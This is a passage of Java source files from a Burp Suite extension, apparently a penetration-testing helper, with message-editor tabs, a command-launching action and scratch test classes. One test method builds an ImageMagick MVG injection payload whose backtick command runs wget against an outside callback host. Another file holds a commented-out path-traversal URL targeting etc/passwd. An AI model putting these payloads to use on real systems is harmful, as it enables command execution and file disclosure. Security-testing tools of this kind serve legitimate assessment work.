14 | */ 15 | public class InfoTabFactory implements IMessageEditorTabFactory 16 | { 17 | private static IExtensionHelpers helpers; 18 | private static IBurpExtenderCallbacks callbacks; 19 | 20 | 21 | public InfoTabFactory(IMessageEditorController controller, boolean editable, IExtensionHelpers helpers, IBurpExtenderCallbacks callbacks) 22 | { 23 | InfoTabFactory.callbacks = callbacks; 24 | InfoTabFactory.helpers = helpers; 25 | } 26 | 27 | @Override 28 | public IMessageEditorTab createNewInstance(IMessageEditorController controller, boolean editable) { 29 | return new InfoTab(controller,editable,helpers,callbacks); 30 | } 31 | } -------------------------------------------------------------------------------- /src/messageTab/Info/InfoTableMenu.java: -------------------------------------------------------------------------------- 1 | package messageTab.Info; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.util.List; 5 | 6 | import javax.swing.AbstractAction; 7 | import javax.swing.JMenuItem; 8 | import javax.swing.JPopupMenu; 9 | 10 | import org.apache.commons.lang3.StringUtils; 11 | 12 | import com.bit4woo.utilbox.utils.SystemUtils; 13 | 14 | import base.FindUrlAction; 15 | 16 | 17 | public class InfoTableMenu extends JPopupMenu { 18 | 19 | 20 | private static final long serialVersionUID = 1L; 21 | /** 22 | * 这处理传入的行index数据是经过转换的 model中的index,不是原始的JTable中的index。 23 | * 24 | * @param infoTable 25 | */ 26 | InfoTableMenu(final InfoTable infoTable) { 27 | 28 | JMenuItem numItem = new JMenuItem(infoTable.getSelectedRows().length + " items selected"); 29 | 30 | JMenuItem copyItem = new JMenuItem(new AbstractAction("Copy (Ctrl+C)") { 31 | @Override 32 | public void actionPerformed(ActionEvent actionEvent) { 33 | String content = infoTable.getSelectedContent(); 34 | SystemUtils.writeToClipboard(content); 35 | } 36 | }); 37 | 38 | JMenuItem changeBaseUrlItem = new JMenuItem(new AbstractAction("Set Base URL") { 39 | @Override 40 | public void actionPerformed(ActionEvent actionEvent) { 41 | String originUrl = infoTable.getOriginUrl(); 42 | List allUrlsOfTarget = infoTable.getAllUrlsOfTarget(); 43 | 44 | String baseurl = infoTable.choseBaseUrlToRequest(allUrlsOfTarget); 45 | 46 | if (StringUtils.isNotEmpty(originUrl) && StringUtils.isNotEmpty(baseurl)) { 47 | FindUrlAction.httpServiceBaseUrlMap.put(originUrl, baseurl); 48 | } 49 | } 50 | }); 51 | 52 | JMenuItem setSelectedAsBaseUrlItem = new JMenuItem(new AbstractAction("Set Selected Item As Base URL") { 53 | @Override 54 | public void actionPerformed(ActionEvent actionEvent) { 55 | 56 | String originUrl = infoTable.getOriginUrl(); 57 | //List allUrlsOfTarget = infoTable.getAllUrlsOfTarget(); 58 | List urls = infoTable.getSelectedUrls(); 59 | String baseurl = infoTable.choseBaseUrlToRequest(urls); 60 | 61 | if (StringUtils.isNotEmpty(originUrl) && StringUtils.isNotEmpty(baseurl)) { 62 | FindUrlAction.httpServiceBaseUrlMap.put(originUrl, baseurl); 63 | } 64 | } 65 | }); 66 | 67 | /** 68 | * TODO 自动查找对应cookie并用于请求 69 | */ 70 | JMenuItem doRequestItem = new JMenuItem(new AbstractAction("Request URL With Burp Proxy") { 71 | @Override 72 | public void actionPerformed(ActionEvent actionEvent) { 73 | List urls = infoTable.getSelectedUrls(); 74 | infoTable.doRequestUrl(urls); 75 | } 76 | }); 77 | 78 | 79 | JMenuItem openInBrowerItem = new JMenuItem(new AbstractAction("Open URL In Brower(Double Click)") { 80 | @Override 81 | public void actionPerformed(ActionEvent actionEvent) { 82 | List urls = infoTable.getSelectedUrls(); 83 | infoTable.doOpenUrlInBrowser(urls); 84 | } 85 | }); 86 | 87 | add(numItem); 88 | add(copyItem); 89 | 90 | this.addSeparator(); 91 | add(changeBaseUrlItem); 92 | add(setSelectedAsBaseUrlItem); 93 | 94 | this.addSeparator(); 95 | add(openInBrowerItem); 96 | add(doRequestItem); 97 | 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /src/messageTab/Info/InfoTableModel.java: -------------------------------------------------------------------------------- 1 | package messageTab.Info; 2 | 3 | import java.io.PrintWriter; 4 | import java.util.ArrayList; 5 | import java.util.Arrays; 6 | import java.util.List; 7 | 8 | import javax.swing.table.AbstractTableModel; 9 | 10 | import burp.BurpExtender; 11 | 12 | 13 | public class InfoTableModel extends AbstractTableModel { 14 | private static final long serialVersionUID = 1L; 15 | private List infoEntries = new ArrayList<>(); 16 | 17 | public static String[] titles = InfoTable.headers; 18 | 19 | public InfoTableModel() { 20 | 21 | } 22 | 23 | ////////////////////// extend AbstractTableModel//////////////////////////////// 24 | 25 | @Override 26 | public int getColumnCount() { 27 | return titles.length; 28 | } 29 | 30 | @Override 31 | public Class getColumnClass(int columnIndex) { 32 | if (titles[columnIndex].equals("#")) { 33 | return Integer.class;//index 34 | } else if (titles[columnIndex].equals("Enable")) { 35 | return boolean.class;//enable 36 | } else { 37 | return String.class; 38 | } 39 | } 40 | 41 | @Override 42 | public int getRowCount() { 43 | return infoEntries.size(); 44 | } 45 | 46 | //define header of table??? 47 | @Override 48 | public String getColumnName(int columnIndex) { 49 | if (columnIndex >= 0 && columnIndex <= titles.length) { 50 | return titles[columnIndex]; 51 | } else { 52 | return ""; 53 | } 54 | } 55 | 56 | @Override 57 | public boolean isCellEditable(int rowIndex, int columnIndex) { 58 | return false; 59 | } 60 | 61 | public InfoEntry getEntryAt(int rowIndex) { 62 | return infoEntries.get(rowIndex); 63 | } 64 | 65 | @Override 66 | public Object getValueAt(int rowIndex, int columnIndex) { 67 | InfoEntry entry = infoEntries.get(rowIndex); 68 | if (titles[columnIndex].equals("#")) { 69 | return rowIndex; 70 | } else if (titles[columnIndex].equals("Value")) { 71 | return entry.getValue(); 72 | } else if (titles[columnIndex].equals("Type")) { 73 | return entry.getType(); 74 | } else if (titles[columnIndex].equals("Enable")) { 75 | return entry.isEnable(); 76 | } else if (titles[columnIndex].equals("Comment")) { 77 | return entry.getComment(); 78 | } else { 79 | return ""; 80 | } 81 | } 82 | 83 | 84 | /* 85 | * Don't need to implement this method unless your table's 86 | * data can change. 87 | */ 88 | @Override 89 | public void setValueAt(Object value, int row, int columnIndex) { 90 | InfoEntry entry = infoEntries.get(row); 91 | 92 | if (titles[columnIndex].equals("#")) { 93 | 94 | } else if (titles[columnIndex].equals("Value")) { 95 | entry.setValue((String) value); 96 | } else if (titles[columnIndex].equals("Type")) { 97 | entry.setType((String) value); 98 | } else if (titles[columnIndex].equals("Enable")) { 99 | entry.setEnable((boolean) value); 100 | } else if (titles[columnIndex].equals("Comment")) { 101 | entry.setComment((String) value); 102 | } 103 | fireTableCellUpdated(row, columnIndex); 104 | } 105 | 106 | //////////////////////extend AbstractTableModel//////////////////////////////// 107 | 108 | public void addNewInfoEntry(InfoEntry lineEntry) { 109 | synchronized (infoEntries) { 110 | infoEntries.add(lineEntry); 111 | int row = infoEntries.size(); 112 | //fireTableRowsInserted(row, row); 113 | //need to use row-1 when add setRowSorter to table. why?? 114 | //https://stackoverflow.com/questions/6165060/after-adding-a-tablerowsorter-adding-values-to-model-cause-java-lang-indexoutofb 115 | fireTableRowsInserted(row - 1, row - 1); 116 | //fireTableRowsInserted(row-2, row-2); 117 | } 118 | } 119 | 120 | 121 | public void removeInfoEntry(InfoEntry lineEntry) { 122 | synchronized (infoEntries) { 123 | int index = infoEntries.indexOf(lineEntry); 124 | if (index != -1) { 125 | infoEntries.remove(lineEntry); 126 | fireTableRowsDeleted(index, index); 127 | } 128 | } 129 | } 130 | 131 | public void removeRows(int[] rows) { 132 | PrintWriter stdout1 = new PrintWriter(BurpExtender.callbacks.getStdout(), true); 133 | synchronized (infoEntries) { 134 | //because thread let the delete action not in order, so we must loop in here. 135 | //list length and index changed after every remove.the origin index not point to right item any more. 136 | Arrays.sort(rows); //升序 137 | for (int i = rows.length - 1; i >= 0; i--) {//降序删除才能正确删除每个元素 138 | InfoEntry config = infoEntries.get(rows[i]); 139 | infoEntries.remove(rows[i]); 140 | stdout1.println("!!! " + config.getValue() + " deleted"); 141 | this.fireTableRowsDeleted(rows[i], rows[i]); 142 | } 143 | } 144 | } 145 | 146 | public void clear() { 147 | synchronized (infoEntries) { 148 | infoEntries = new ArrayList<>(); 149 | } 150 | } 151 | 152 | public void updateRows(int[] rows) { 153 | synchronized (infoEntries) { 154 | //because thread let the delete action not in order, so we must loop in here. 155 | //list length and index changed after every remove.the origin index not point to right item any more. 156 | Arrays.sort(rows); //升序 157 | for (int i = rows.length - 1; i >= 0; i--) {//降序删除才能正确删除每个元素 158 | InfoEntry checked = infoEntries.get(rows[i]); 159 | infoEntries.remove(rows[i]); 160 | infoEntries.add(rows[i], checked); 161 | } 162 | this.fireTableRowsUpdated(rows[0], rows[rows.length - 1]); 163 | } 164 | } 165 | 166 | public List getConfigEntries() { 167 | return infoEntries; 168 | } 169 | 170 | 171 | public void setConfigEntries(List configEntries) { 172 | this.infoEntries = configEntries; 173 | } 174 | 175 | } -------------------------------------------------------------------------------- /src/messageTab/U2C/ChineseTab.java: -------------------------------------------------------------------------------- 1 | package messageTab.U2C; 2 | 3 | import java.awt.Component; 4 | import java.util.ArrayList; 5 | import java.util.Arrays; 6 | import java.util.List; 7 | 8 | import org.apache.commons.lang3.StringUtils; 9 | import org.apache.commons.text.StringEscapeUtils; 10 | 11 | import com.bit4woo.utilbox.utils.ByteArrayUtils; 12 | 13 | import burp.BurpExtender; 14 | import burp.IBurpExtenderCallbacks; 15 | import burp.IExtensionHelpers; 16 | import burp.IMessageEditorController; 17 | import burp.IMessageEditorTab; 18 | 19 | /** 20 | * @author bit4woo 21 | * @version CreateTime:2022年1月15日 下午11:07:59 22 | *

23 | * 想要正确显示中文内容,有三个编码设置会影响结果: 24 | * 1、原始编码,通过代码尝试自动获取,但是结果可能不准确,极端情况下需要手动设置。 25 | * 2、转换后的编码,手动设置。 26 | * 3、burp设置的显示编码,显示时时用的编码,应该和转换后的编码一致。 27 | *

28 | * 原始数据是byte[],但也是文本内容的某种编码的byte[]. 29 | * @github https://github.com/bit4woo 30 | */ 31 | public class ChineseTab implements IMessageEditorTab { 32 | 33 | 34 | private ChinesePanel panel; 35 | 36 | private byte[] originContent; 37 | private String detectedCharset; 38 | private int charSetIndex = 0; 39 | 40 | 41 | public ChineseTab(IMessageEditorController controller, boolean editable, IExtensionHelpers helpers, IBurpExtenderCallbacks callbacks) { 42 | panel = new ChinesePanel(this); 43 | BurpExtender.getCallbacks().customizeUiComponent(panel);//尝试使用burp的font size 44 | } 45 | 46 | 47 | @Override 48 | public String getTabCaption() { 49 | return "Chinese"; 50 | } 51 | 52 | @Override 53 | public Component getUiComponent() { 54 | return panel; 55 | } 56 | 57 | /** 58 | * 还是需要适当控制减少内存的占用 59 | * 60 | * Content-Type: image/x-icon 61 | Content-Type: image/png 62 | Content-Type: text/css 63 | Content-Type: font/woff2 64 | Content-Type: application/x-protobuf 65 | */ 66 | @Override 67 | public boolean isEnabled(byte[] content, boolean isRequest) { 68 | String contentType = BurpExtender.getHelperPlus().getHeaderValueOf(isRequest, content, "Content-Type"); 69 | if (StringUtils.isEmpty(contentType)) { 70 | return true; 71 | } 72 | if (contentType.contains("image/")) { 73 | return false; 74 | } 75 | else if (contentType.contains("text/css")) { 76 | return false; 77 | } 78 | else if (contentType.contains("font/")) { 79 | return false; 80 | } 81 | else if (contentType.contains("x-protobuf")) { 82 | return false; 83 | } 84 | 85 | return true; 86 | } 87 | 88 | public byte[] getOriginContent() { 89 | return originContent; 90 | } 91 | 92 | public void setOriginContent(byte[] originContent) { 93 | this.originContent = originContent; 94 | } 95 | 96 | public List getCharsetList() { 97 | String encoding = "UTF-8,GBK,GB2312,GB18030,Big5,Big5-HKSCS"; 98 | List encodingList = new ArrayList<>(Arrays.asList(encoding.split(","))); 99 | if (StringUtils.isNotEmpty(detectedCharset)) { 100 | encodingList.remove(detectedCharset); 101 | encodingList.add(0, detectedCharset); 102 | } 103 | return encodingList; 104 | } 105 | 106 | public String getCurrentCharSet() { 107 | return getCharsetList().get(charSetIndex); 108 | } 109 | 110 | public String getNextCharSet() { 111 | List charsetList = getCharsetList(); 112 | if (charSetIndex < charsetList.size() - 1) { 113 | charSetIndex = charSetIndex+1; 114 | } else { 115 | charSetIndex = 0; 116 | } 117 | return charsetList.get(charSetIndex); 118 | } 119 | 120 | @Override 121 | public void setMessage(byte[] content, boolean isRequest) { 122 | if (ByteArrayUtils.equals(originContent,content)) { 123 | return; 124 | }else { 125 | originContent = content; 126 | detectedCharset = BurpExtender.getHelperPlus().detectCharset(isRequest, content); 127 | panel.displayInChunks(content, isRequest, getCurrentCharSet(),1); 128 | } 129 | } 130 | 131 | /** 132 | * 中文下的编辑还是有问题,暂不支持。 133 | * 始终返回原始内容。 134 | */ 135 | @Override 136 | public byte[] getMessage() { 137 | return originContent; 138 | } 139 | 140 | @Override 141 | public boolean isModified() { 142 | return false; 143 | } 144 | 145 | @Override 146 | public byte[] getSelectedData() { 147 | // return txtInput.getSelectedText(); 148 | return null; 149 | } 150 | 151 | 152 | public static void main(String[] args) { 153 | String aaa = "STK_7411642209636022({\"errno\":1003,\"errmsg\":\"\\u7528\\u6237\\u672a\\u767b\\u5f55\",\"errmsg_lang\":{\"zh\":\"\\u7528\\u6237\\u672a\\u767b\\u5f55\",\"en\":\"User is not logged in.\",\"zh-HK\":\"\\u7528\\u6236\\u672a\\u767b\\u9304\"},\"data\":null});"; 154 | System.out.println(StringEscapeUtils.unescapeJava(aaa)); 155 | System.out.println(StringEscapeUtils.unescapeJava(aaa)); 156 | } 157 | } -------------------------------------------------------------------------------- /src/messageTab/U2C/ChineseTabFactory.java: -------------------------------------------------------------------------------- 1 | package messageTab.U2C; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.IExtensionHelpers; 5 | import burp.IMessageEditorController; 6 | import burp.IMessageEditorTab; 7 | import burp.IMessageEditorTabFactory; 8 | 9 | /** 10 | * 工厂类,构造一个个的Tab实例 11 | * @author bit4woo 12 | * @github https://github.com/bit4woo 13 | * 14 | */ 15 | public class ChineseTabFactory implements IMessageEditorTabFactory 16 | { 17 | private static IExtensionHelpers helpers; 18 | private static IBurpExtenderCallbacks callbacks; 19 | 20 | 21 | public ChineseTabFactory(IMessageEditorController controller, boolean editable, IExtensionHelpers helpers, IBurpExtenderCallbacks callbacks) 22 | { 23 | ChineseTabFactory.callbacks = callbacks; 24 | ChineseTabFactory.helpers = helpers; 25 | } 26 | 27 | @Override 28 | public IMessageEditorTab createNewInstance(IMessageEditorController controller, boolean editable) { 29 | return new ChineseTab(controller,editable,helpers,callbacks); 30 | } 31 | } -------------------------------------------------------------------------------- /src/messageTab/U2C/TextEditorDemo.java: -------------------------------------------------------------------------------- 1 | package messageTab.U2C; 2 | import javax.swing.*; 3 | import java.awt.BorderLayout; 4 | 5 | import org.fife.ui.rtextarea.*; 6 | import org.fife.ui.rsyntaxtextarea.*; 7 | 8 | public class TextEditorDemo extends JFrame { 9 | 10 | public TextEditorDemo() { 11 | 12 | JPanel cp = new JPanel(new BorderLayout()); 13 | 14 | RSyntaxTextArea textArea = new RSyntaxTextArea(20, 60); 15 | textArea.setSyntaxEditingStyle(SyntaxConstants.SYNTAX_STYLE_JSON); 16 | textArea.setLineWrap(true); 17 | textArea.setWrapStyleWord(true); 18 | textArea.setAutoIndentEnabled(true); 19 | textArea.setCodeFoldingEnabled(true); 20 | RTextScrollPane sp = new RTextScrollPane(textArea); 21 | cp.add(sp); 22 | 23 | setContentPane(cp); 24 | setTitle("Text Editor Demo"); 25 | setDefaultCloseOperation(EXIT_ON_CLOSE); 26 | pack(); 27 | setLocationRelativeTo(null); 28 | 29 | } 30 | 31 | public static void main(String[] args) { 32 | // Start all Swing applications on the EDT. 33 | SwingUtilities.invokeLater(() -> new TextEditorDemo().setVisible(true)); 34 | } 35 | 36 | } -------------------------------------------------------------------------------- /src/runcmd/RunAsKonsole.java: -------------------------------------------------------------------------------- 1 | package runcmd; 2 | 3 | import java.io.IOException; 4 | 5 | public class RunAsKonsole { 6 | 7 | /** 8 | * 启动Konsole并异步执行命令 9 | * @param command 要执行的命令 10 | */ 11 | public static void launchKonsoleAsync(String command) { 12 | Thread konsoleThread = new Thread(() -> { 13 | try { 14 | // 构建ProcessBuilder 15 | ProcessBuilder processBuilder = new ProcessBuilder("/usr/bin/konsole","--noclose", "-e", command); 16 | // 启动进程 17 | Process process = processBuilder.start(); 18 | // 等待进程结束 19 | int exitCode = process.waitFor(); 20 | 21 | // 进程结束后打印信息 22 | System.out.println("Konsole process exited with code: " + exitCode); 23 | } catch (IOException e) { 24 | e.printStackTrace(); 25 | } catch (InterruptedException e) { 26 | throw new RuntimeException(e); 27 | } 28 | }); 29 | 30 | // 设置线程为守护线程,这样在主程序退出时不会阻塞 31 | konsoleThread.setDaemon(true); 32 | // 启动线程 33 | konsoleThread.start(); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/runcmd/RunCmd_Action.java: -------------------------------------------------------------------------------- 1 | package runcmd; 2 | 3 | import burp.*; 4 | import com.bit4woo.utilbox.utils.SystemUtils; 5 | import config.ConfigEntry; 6 | 7 | import java.awt.event.ActionEvent; 8 | import java.awt.event.ActionListener; 9 | import java.io.File; 10 | import java.io.PrintWriter; 11 | 12 | 13 | public class RunCmd_Action implements ActionListener, Runnable { 14 | 15 | public static final String workdir = System.getProperty("user.home") + File.separator + ".knife"; 16 | private final IContextMenuInvocation invocation; 17 | private final ConfigEntry config; 18 | public IExtensionHelpers helpers; 19 | public PrintWriter stdout; 20 | public PrintWriter stderr; 21 | public IBurpExtenderCallbacks callbacks; 22 | public BurpExtender burp; 23 | 24 | 25 | public RunCmd_Action(BurpExtender burp, IContextMenuInvocation invocation, ConfigEntry config) { 26 | this.burp = burp; 27 | this.invocation = invocation; 28 | this.helpers = BurpExtender.helpers; 29 | this.callbacks = BurpExtender.callbacks; 30 | this.stderr = BurpExtender.getStderr(); 31 | this.stdout = BurpExtender.getStdout(); 32 | this.config = config; //是否使用多个数据包的内容 33 | } 34 | 35 | @Override 36 | public void actionPerformed(ActionEvent event) { 37 | new Thread(this).start();//就是调用Runnable的run函数 38 | } 39 | 40 | @Override 41 | public void run() { 42 | try { 43 | IHttpRequestResponse[] messages = invocation.getSelectedMessages(); 44 | if (messages != null) { 45 | boolean useRobot = (BurpExtender.getConfigTableModel().getConfigValueByKey("RunTerminalWithRobotInput") != null); 46 | boolean IsArchKonsole = (BurpExtender.getConfigTableModel().getConfigValueByKey("RunTerminalWithKonsole") != null); 47 | if (useRobot && !IsArchKonsole) { 48 | RobotInput.startCmdConsole();//尽早启动减少出错概率 49 | } 50 | 51 | String cmd = config.getFinalValue(messages); 52 | if (useRobot) { 53 | if (IsArchKonsole){ 54 | //使用Konsole终端 55 | RunAsKonsole.launchKonsoleAsync(cmd); 56 | } else { 57 | //方案1:使用模拟输入实现 58 | new RobotInput().inputString(cmd); 59 | } 60 | } else { 61 | //方案2:使用bat文件实现 62 | String file = SystemUtils.genBatchFile(cmd, config.getKey() + ".bat"); 63 | SystemUtils.runBatchFile(file); 64 | } 65 | } 66 | } catch (Exception e1) { 67 | e1.printStackTrace(stderr); 68 | } 69 | } 70 | } -------------------------------------------------------------------------------- /src/test/ComBoxEditor.java: -------------------------------------------------------------------------------- 1 | package test; 2 | 3 | import java.awt.Component; 4 | import java.awt.event.ItemEvent; 5 | import java.awt.event.ItemListener; 6 | import java.awt.event.MouseEvent; 7 | import java.util.EventObject; 8 | 9 | import javax.swing.AbstractCellEditor; 10 | import javax.swing.JComboBox; 11 | import javax.swing.JLabel; 12 | import javax.swing.JTable; 13 | import javax.swing.table.TableCellEditor; 14 | 15 | class ComBoxEditor extends AbstractCellEditor implements TableCellEditor 16 | { 17 | /* 18 | * ReadMe: 这个 ComboBox下拉列表的编辑器 使用一个 JLable 和一个 JComboBox组合的 19 | * 将JComboBox放到JLable里,所以只需要将 JLable 作为编辑器组件返回就行了 20 | */ 21 | private JComboBox m_ComboBox; 22 | //获取 下拉列表的 选择的值 23 | private String m_SelStr; 24 | private JLabel m_OutLable; 25 | //这里我们设置 鼠标点击 1 次就响应编辑器 26 | private static final int clickCountToStart = 1; 27 | //初始化编辑器包含的控件信息 28 | public ComBoxEditor() 29 | { 30 | m_ComboBox = new JComboBox(); 31 | m_ComboBox.addItem("选项A"); 32 | m_ComboBox.addItem("选项B"); 33 | m_ComboBox.addItem("选项C"); 34 | 35 | m_ComboBox.setSize(100,30); 36 | 37 | m_OutLable= new JLabel(); 38 | m_OutLable.setLayout(null); 39 | m_OutLable.setBounds(0, 0, 120, 40); 40 | m_OutLable.add(m_ComboBox); 41 | m_ComboBox.setLocation(50, 50); 42 | 43 | //响应下拉列表的事件 44 | m_ComboBox.addItemListener(new ItemListener() 45 | { 46 | @Override 47 | public void itemStateChanged(ItemEvent e) 48 | { 49 | System.out.println("下拉列表的选中事件"); 50 | if(e.getStateChange() == e.SELECTED) 51 | { 52 | //获取选择的值 53 | m_SelStr = (String)m_ComboBox.getSelectedItem(); 54 | //结束选择 55 | fireEditingStopped(); 56 | } 57 | } 58 | }); 59 | } 60 | //检测鼠标的点击次数,判断编辑器是否起作用 61 | public boolean isCellEditable(EventObject anEvent) 62 | { 63 | //如果事件 是 鼠标的事件,大于设定的次数就true,否则false 64 | if (anEvent instanceof MouseEvent) 65 | { 66 | System.out.println("检测鼠标的点击次数,设置编辑器是否响应"); 67 | return ((MouseEvent)anEvent).getClickCount() >= clickCountToStart; 68 | } 69 | return false; 70 | } 71 | 72 | //获取编辑器的组件 73 | @Override 74 | public Component getTableCellEditorComponent(JTable table, Object value, 75 | boolean isSelected, int row, int column) 76 | { 77 | System.out.println("获取编辑器的组件"); 78 | //将下拉列表设置为之前的选项 79 | m_SelStr = (String)value; 80 | m_ComboBox.setSelectedItem(m_SelStr); 81 | //返回值为 null的时候 是空的编辑器,就是说 = =不允许 编辑的 82 | return m_OutLable; 83 | } 84 | //获取编辑器的 值 85 | @Override 86 | public Object getCellEditorValue() 87 | {return m_SelStr;} 88 | } 89 | -------------------------------------------------------------------------------- /src/test/NewClass.java: -------------------------------------------------------------------------------- 1 | package test; 2 | 3 | public class NewClass { 4 | public static void main(String[] args) 5 | { 6 | try 7 | { 8 | // We are running "dir" and "ping" command on cmd 9 | Runtime.getRuntime().exec("cmd /c start cmd.exe /K \"dir && ping localhost\""); 10 | } 11 | catch (Exception e) 12 | { 13 | System.out.println("HEY Buddy ! U r Doing Something Wrong "); 14 | e.printStackTrace(); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /src/test/RobotInActionListener.java: -------------------------------------------------------------------------------- 1 | package test; 2 | 3 | 4 | import java.awt.*; 5 | import java.awt.event.*; 6 | 7 | import burp.RobotInput; 8 | 9 | class RobotInActionListener extends Frame implements ActionListener 10 | { 11 | RobotInActionListener (String title) 12 | { 13 | super (title); 14 | 15 | addWindowListener (new WindowAdapter () 16 | { 17 | public void windowClosing (WindowEvent e) 18 | { 19 | System.exit (0); 20 | } 21 | }); 22 | 23 | Panel p = new Panel (); 24 | Button b = new Button ("Press Me"); 25 | b.addActionListener (this); 26 | p.add (b); 27 | 28 | add (p); 29 | 30 | setSize (175, 100); 31 | setVisible (true); 32 | } 33 | 34 | public void actionPerformed111 (ActionEvent e) 35 | { 36 | try 37 | { 38 | Runtime.getRuntime ().exec ("notepad.exe"); 39 | } 40 | catch (java.io.IOException e2) { System.out.println (e2);} 41 | 42 | try 43 | { 44 | Thread.sleep (1000); 45 | } 46 | catch (InterruptedException e2) {} 47 | 48 | try 49 | { 50 | Robot r = new Robot (); 51 | 52 | int [] keys = 53 | { 54 | KeyEvent.VK_T, 55 | KeyEvent.VK_E, 56 | KeyEvent.VK_X, 57 | KeyEvent.VK_T, 58 | KeyEvent.VK_ENTER 59 | }; 60 | 61 | for (int i = 0; i < keys.length; i++) 62 | { 63 | r.keyPress (keys [i]); 64 | r.keyRelease (keys [i]); 65 | } 66 | 67 | Toolkit tk = Toolkit.getDefaultToolkit (); 68 | Dimension dim = tk.getScreenSize (); 69 | 70 | r.mouseMove (dim.width / 2, dim.height / 2); 71 | } 72 | catch (AWTException e2) {} 73 | } 74 | 75 | public void actionPerformed (ActionEvent e){ 76 | try { 77 | String selectedUrl = new RobotInput().getSelectedString(); 78 | } catch (AWTException e1) { 79 | // TODO Auto-generated catch block 80 | e1.printStackTrace(); 81 | } 82 | } 83 | 84 | 85 | public static void main (String [] args) 86 | { 87 | new RobotInActionListener ("Robot Demo"); 88 | } 89 | } -------------------------------------------------------------------------------- /src/test/SetTest.java: -------------------------------------------------------------------------------- 1 | package test; 2 | 3 | import java.util.HashSet; 4 | import java.util.Set; 5 | 6 | public class SetTest { 7 | public static void main(String[] args) { 8 | Set tmp = new HashSet<>(); 9 | System.out.println(tmp); 10 | System.out.println(tmp.size()); 11 | for(String item:tmp){ 12 | System.out.println(item+"111"); 13 | } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /src/test/URLTest.java: -------------------------------------------------------------------------------- 1 | package test; 2 | 3 | import java.io.File; 4 | import java.io.IOException; 5 | import java.net.URL; 6 | 7 | import org.apache.commons.io.FileUtils; 8 | 9 | public class URLTest 10 | { 11 | public static void main(String [] args) 12 | { 13 | try 14 | { 15 | // URL url = new URL("http://www.runoob.com/index.html?language=cn#j2se"); 16 | URL url = new URL("www.runoob.com/index.html?language=cn#j2se"); 17 | // url = new URL("http://127.0.0.1:5084/..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\etc/passwd"); 18 | System.out.println("URL 为:" + url.toString()); 19 | System.out.println("协议为:" + url.getProtocol()); 20 | System.out.println("验证信息:" + url.getAuthority()); 21 | System.out.println("文件名及请求参数:" + url.getFile()); 22 | System.out.println("主机名:" + url.getHost()); 23 | System.out.println("路径:" + url.getPath()); 24 | System.out.println("端口:" + url.getPort()); 25 | System.out.println("默认端口:" + url.getDefaultPort()); 26 | System.out.println("请求参数:" + url.getQuery()); 27 | System.out.println("定位位置:" + url.getRef()); 28 | 29 | String path = url.getFile(); 30 | String camFile = new File(path).getCanonicalFile().toString(); 31 | System.out.println(File.separator); 32 | camFile = camFile.substring(camFile.indexOf(File.separator)); 33 | System.out.println(camFile); 34 | File fullName = new File(new File("e:\\aaaa"),camFile.toString()); 35 | System.out.println(fullName); 36 | FileUtils.write(fullName, "111"); 37 | }catch(IOException e) 38 | { 39 | e.printStackTrace(); 40 | } 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/test/gsoTest.java: -------------------------------------------------------------------------------- 1 | package test; 2 | 3 | import com.google.gson.Gson; 4 | import com.google.gson.GsonBuilder; 5 | import com.google.gson.JsonElement; 6 | import com.google.gson.JsonParser; 7 | 8 | import java.util.Base64; 9 | 10 | //import org.apache.commons.lang.StringEscapeUtils; 11 | import org.apache.commons.text.StringEscapeUtils; 12 | 13 | import burp.Getter; 14 | 15 | public class gsoTest { 16 | public static void main(String args[]) { 17 | test1(); 18 | } 19 | 20 | public void test() { 21 | String chineseCharacter = "\\uff01\\u0040\\u0023\\uffe5\\u0025\\u2026\\u2026\\u0026\\u002a\\uff08\\uff09\\u2014\\u2014\\u002d\\u003d\\uff0c\\u3002\\uff1b\\uff1a\\u201c\\u2018\\u007b\\u007d\\u3010\\u3011\\u002b"; 22 | String chineseCharacter1 = "\\uff01\\u0040\\u0023\\uffe5\\u0025"; 23 | String test = String.format("{\"a\":\"%s\"}",chineseCharacter); 24 | System.out.println(test); 25 | Gson gson = new GsonBuilder().setPrettyPrinting().disableHtmlEscaping().serializeNulls().create(); 26 | //Get only the JSON part of the content 27 | JsonParser jp = new JsonParser(); 28 | JsonElement je = jp.parse(test); 29 | String xxx = gson.toJson(je); 30 | System.out.println( gson.toJson(je)); 31 | 32 | System.out.println(StringEscapeUtils.unescapeJava(chineseCharacter)); 33 | } 34 | 35 | public static void test1() { 36 | String payload ="push graphic-context\r\n" + 37 | "viewbox 0 0 640 480\r\n" + 38 | "image over 0,0 0,0 'https://imagemagic.bit.0y0.link/x.php?x=`wget -O- %s > /dev/null`'\r\n" + 39 | "pop graphic-context"; 40 | 41 | String a = new String(Base64.getEncoder().encode(payload.getBytes())); 42 | System.out.println(a); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/test/render.java: -------------------------------------------------------------------------------- 1 | package test; 2 | 3 | import java.awt.Component; 4 | import javax.swing.JComboBox; 5 | import javax.swing.JTable; 6 | import javax.swing.table.TableCellRenderer; 7 | 8 | public class render extends JComboBox implements TableCellRenderer{ 9 | public render(){ 10 | super(); 11 | addItem("男"); 12 | addItem("女"); 13 | } 14 | public Component getTableCellRendererComponent(JTable table, Object value, 15 | boolean isSelected, boolean hasFocus, int row, int column) { 16 | if(isSelected){ 17 | setForeground(table.getForeground()); 18 | super.setBackground(table.getBackground()); 19 | }else{ 20 | setForeground(table.getForeground()); 21 | setBackground(table.getBackground()); 22 | } 23 | boolean isMale = ((Boolean)value).booleanValue(); 24 | setSelectedIndex(isMale? 0 : 1); 25 | return this; 26 | } 27 | 28 | } --------------------------------------------------------------------------------